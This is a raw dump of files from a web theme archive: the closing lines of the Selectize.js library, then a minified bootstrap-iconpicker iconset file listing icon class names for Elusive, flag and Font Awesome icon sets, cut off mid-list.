					index = this.caretPos - 1;
					if (index >= 0 && index < this.items.length) {
						option = this.options[this.items[index]];
						if (this.deleteSelection(e)) {
							this.setTextboxValue(options.text.apply(this, [option]));
							this.refreshOptions(true);
						}
						e.preventDefault();
						return;
					}
				}
				return original.apply(this, arguments);
			};
		})();
	});


	return Selectize;
}));
PK     N\@  Q  inc/customizer/framework/assets/js/vendor/bootstrap-iconpicker-iconset-all.min.jsnu [        /*!========================================================================
* File: bootstrap-iconpicker-iconset.min.js v1.9.0 by @victor-valencia
* https://victor-valencia.github.com/bootstrap-iconpicker
* ========================================================================
* Copyright 2013-2017 Victor Valencia Rico.
* Licensed under MIT license.
* https://github.com/victor-valencia/bootstrap-iconpicker/blob/master/LICENSE
* ========================================================================
*/

!function($){var data={iconClass:"",iconClassFix:"el-icon-",icons:[],allVersions:[{version:"2.0.0",icons:["","address-book","address-book-alt","adjust","adjust-alt","adult","align-center","align-justify","align-left","align-right","arrow-down","arrow-left","arrow-right","arrow-up","asl","asterisk","backward","ban-circle","barcode","behance","bell","blind","blogger","bold","book","bookmark","bookmark-empty","braille","briefcase","broom","brush","bulb","bullhorn","calendar","calendar-sign","camera","car","caret-down","caret-left","caret-right","caret-up","cc","certificate","check","check-empty","chevron-down","chevron-left","chevron-right","chevron-up","child","circle-arrow-down","circle-arrow-left","circle-arrow-right","circle-arrow-up","cloud","cloud-alt","cog","cog-alt","cogs","comment","comment-alt","compass","compass-alt","credit-card","css","dashboard","delicious","deviantart","digg","download","download-alt","dribbble","edit","eject","envelope","envelope-alt","error","error-alt","eur","exclamation-sign","eye-close","eye-open","facebook","facetime-video","fast-backward","fast-forward","female","file","file-alt","file-edit","file-edit-alt","file-new","file-new-alt","film","filter","fire","flag","flag-alt","flickr","folder","folder-close","folder-open","folder-sign","font","fontsize","fork","forward","forward-alt","foursquare","friendfeed","friendfeed-rect","fullscreen","gbp","gift","github","github-text","glass","glasses","globe","globe-alt","googleplus","graph","graph-alt","group","group-alt","guidedog","hand-down","hand-left","hand-right","hand-up","hdd","headphones","hearing-impaired","heart","heart-alt","heart-empty","home","home-alt","hourglass","idea","idea-alt","inbox","inbox-alt","inbox-box","indent-left","indent-right","info-sign","instagram","iphone-home","italic","key","laptop","laptop-alt","lastfm","leaf","lines","link","linkedin","list","list-alt","livejournal","lock","lock-alt","magic","magnet","male","map-marker","map-marker-alt","mic","mic-alt","minus","minus-sign","move","music","myspace","network","off","ok","ok-circle","ok-sign","opensource","paper-clip","paper-clip-alt","path","pause","pause-alt","pencil","pencil-alt","person","phone","phone-alt","photo","photo-alt","picasa","picture","pinterest","plane","play","play-alt","play-circle","plus","plus-sign","podcast","print","puzzle","qrcode","question","question-sign","quotes","quotes-alt","random","record","reddit","refresh","remove","remove-circle","remove-sign","repeat","repeat-alt","resize-full","resize-horizontal","resize-small","resize-vertical","return-key","retweet","reverse-alt","road","rss","scissors","screen","screen-alt","screenshot","search","search-alt","share","share-alt","shopping-cart","shopping-cart-sign","signal","skype","slideshare","smiley","smiley-alt","soundcloud","speaker","spotify","stackoverflow","star","star-alt","star-empty","step-backward","step-forward","stop","stop-alt","stumbleupon","tag","tags","tasks","text-height","text-width","th","th-large","th-list","thumbs-down","thumbs-up","time","time-alt","tint","torso","trash","trash-alt","tumblr","twitter","universal-access","unlock","unlock-alt","upload","usd","user","viadeo","video","video-alt","video-chat","view-mode","vimeo","vkontakte","volume-down","volume-off","volume-up","w3c","warning-sign","website","website-alt","wheelchair","wordpress","wrench","wrench-alt","youtube","zoom-in","zoom-out"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_elusiveicon=data}(jQuery);
!function($){var data={iconClass:"flag-icon",iconClassFix:"flag-icon-",icons:[],allVersions:[{version:"2.8.0",icons:["","ad","ae","af","ag","ai","al","am","ao","aq","ar","as","at","au","aw","ax","az","ba","bb","bd","be","bf","bg","bh","bi","bj","bl","bm","bn","bo","bq","br","bs","bt","bv","bw","by","bz","ca","cc","cd","cf","cg","ch","ci","ck","cl","cm","cn","co","cr","cu","cv","cw","cx","cy","cz","de","dj","dk","dm","do","dz","ec","ee","eg","eh","er","es","et","eu","fi","fj","fk","fm","fo","fr","ga","gb","gd","ge","gf","gg","gh","gi","gl","gm","gn","gp","gq","gr","gs","gt","gu","gw","gy","hk","hm","hn","hr","ht","hu","id","ie","il","im","in","io","iq","ir","is","it","je","jm","jo","jp","ke","kg","kh","ki","km","kn","kp","kr","kw","ky","kz","la","lb","lc","li","lk","lr","ls","lt","lu","lv","ly","ma","mc","md","me","mf","mg","mh","mk","ml","mm","mn","mo","mp","mq","mr","ms","mt","mu","mv","mw","mx","my","mz","na","nc","ne","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa","pe","pf","pg","ph","pk","pl","pm","pn","pr","ps","pt","pw","py","qa","re","ro","rs","ru","rw","sa","sb","sc","sd","se","sg","sh","si","sj","sk","sl","sm","sn","so","sr","ss","st","sv","sx","sy","sz","tc","td","tf","tg","th","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","tz","ua","ug","um","un","us","uy","uz","va","vc","ve","vg","vi","vn","vu","wf","ws","ye","yt","za","zm","zw"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_flagicon=data}(jQuery);
!function($){var data={iconClass:"fa",iconClassFix:"fa-",icons:[],allVersions:[{version:"4.0.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","asterisk","backward","ban","bar-chart-o","barcode","beer","bell","bell-o","bitbucket","bitbucket-square","bitcoin","bold","bolt","book","bookmark","bookmark-o","briefcase","btc","bug","building","bullhorn","bullseye","calendar","calendar-o","camera","camera-retro","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","clipboard","clock-o","cloud","cloud-download","cloud-upload","cny","code","code-fork","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","copy","credit-card","crop","crosshairs","css3","cut","cutlery","dashboard","dedent","desktop","dollar","dot-circle-o","download","dribbble","dropbox","edit","eject","envelope","envelope-o","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","external-link","external-link-square","eye","eye-slash","facebook","facebook-square","fast-backward","fast-forward","female","fighter-jet","file","file-o","file-text","file-text-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forward","foursquare","frown-o","gamepad","gavel","gbp","gear","gears","gift","github","github-alt","github-square","gittip","glass","globe","google-plus","google-plus-square","group","h-square","hand-o-down","hand-o-left","hand-o-right","hand-o-up","headphones","heart","heart-o","home","html5","inbox","indent","info","info-circle","inr","instagram","italic","jpy","key","keyboard-o","krw","laptop","leaf","legal","lemon-o","level-down","level-up","lightbulb-o","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","maxcdn","medkit","meh-o","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","music","outdent","pagelines","paperclip","paste","pause","pencil","pencil-square","pencil-square-o","phone","phone-square","picture-o","pinterest","pinterest-square","plane","play","play-circle","play-circle-o","plus","plus-circle","plus-square","power-off","print","puzzle-piece","qrcode","question","question-circle","quote-left","quote-right","random","refresh","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","share","share-square","share-square-o","shield","shopping-cart","sign-in","sign-out","signal","sitemap","skype","smile-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","spinner","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","step-backward","step-forward","stethoscope","stop","strikethrough","subscript","suitcase","sun-o","superscript","table","tablet","tachometer","tag","tags","tasks","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-right","toggle-up","trash-o","trello","trophy","truck","try","tumblr","tumblr-square","turkish-lira","twitter","twitter-square","umbrella","underline","undo","unlink","unlock","unsorted","upload","usd","user","user-md","video-camera","vimeo-square","vk","volume-down","volume-off","volume-up","warning","weibo","wheelchair","windows","won","wrench","xing","xing-square","yen","youtube","youtube-play","youtube-square"]},{version:"4.1.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","automobile","backward","ban","bank","bar-chart-o","barcode","bars","beer","behance","behance-square","bell","bell-o","bitbucket","bitbucket-square","bitcoin","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","cab","calendar","calendar-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","circle","circle-o","circle-thin","clipboard","clock-o","cloud","cloud-download","cloud-upload","cny","code","code-fork","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","compress","copy","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","database","dedent","delicious","desktop","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","external-link","external-link-square","eye","eye-slash","facebook","facebook-square","fast-backward","fast-forward","fax","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forward","foursquare","frown-o","gamepad","gavel","gbp","ge","gear","gears","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","graduation-cap","group","h-square","hacker-news","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hdd-o","header","headphones","heart","heart-o","history","home","hospital-o","html5","image","inbox","indent","info","info-circle","inr","instagram","institution","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","leaf","legal","lemon-o","level-down","level-up","life-bouy","life-ring","life-saver","lightbulb-o","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","maxcdn","medkit","meh-o","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","music","navicon","openid","outdent","pagelines","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pied-piper","pied-piper-alt","pied-piper-square","pinterest","pinterest-square","plane","play","play-circle","play-circle-o","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","reddit","reddit-square","refresh","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","send","send-o","share","share-alt","share-alt-square","share-square","share-square-o","shield","shopping-cart","sign-in","sign-out","signal","sitemap","skype","slack","sliders","smile-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","stop","strikethrough","stumbleupon","stumbleupon-circle","subscript","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-right","toggle-up","trash-o","tree","trello","trophy","truck","try","tumblr","tumblr-square","turkish-lira","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","users","video-camera","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","wheelchair","windows","won","wordpress","wrench","xing","xing-square","yahoo","yen","youtube","youtube-play","youtube-square"]},{version:"4.2.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","ban","bank","bar-chart-o","barcode","bars","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","cab","calculator","calendar","calendar-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cc","cc-amex","cc-discover","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","circle","circle-o","circle-thin","clipboard","clock-o","cloud","cloud-download","cloud-upload","cny","code","code-fork","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","compress","copy","copyright","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","database","dedent","delicious","desktop","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-square","fast-backward","fast-forward","fax","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","group","h-square","hacker-news","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hdd-o","header","headphones","heart","heart-o","history","home","hospital-o","html5","ils","image","inbox","indent","info","info-circle","inr","instagram","institution","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","legal","lemon-o","level-down","level-up","life-bouy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","maxcdn","meanpath","medkit","meh-o","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","music","navicon","newspaper-o","openid","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","paypal","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","reddit","reddit-square","refresh","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","send","send-o","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","shopping-cart","sign-in","sign-out","signal","sitemap","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","stop","strikethrough","stumbleupon","stumbleupon-circle","subscript","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trash","trash-o","tree","trello","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","users","video-camera","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","wheelchair","wifi","windows","won","wordpress","wrench","xing","xing-square","yahoo","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.3.0",icons:["","adjust","adn","align-center","align-justify","align-left","align-right","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","ban","bank","bar-chart","bar-chart-o","barcode","bars","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-discover","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","coffee","cog","cogs","columns","comment","comment-o","comments","comments-o","compass","compress","connectdevelop","copy","copyright","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","html5","ils","image","inbox","indent","info","info-circle","inr","instagram","institution","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map-marker","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","motorcycle","music","navicon","neuter","newspaper-o","openid","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","paypal","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-square","refresh","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","save","scissors","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-cart","sign-in","sign-out","signal","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","stop","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","train","transgender","transgender-alt","trash","trash-o","tree","trello","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","video-camera","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wifi","windows","won","wordpress","wrench","xing","xing-square","yahoo","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.4.0",icons:["","500px","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","balance-scale","ban","bank","bar-chart","bar-chart-o","barcode","bars","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","fonticons","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","ils","image","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mobile","mobile-phone","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","paw","paypal","pencil","pencil-square","pencil-square-o","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-square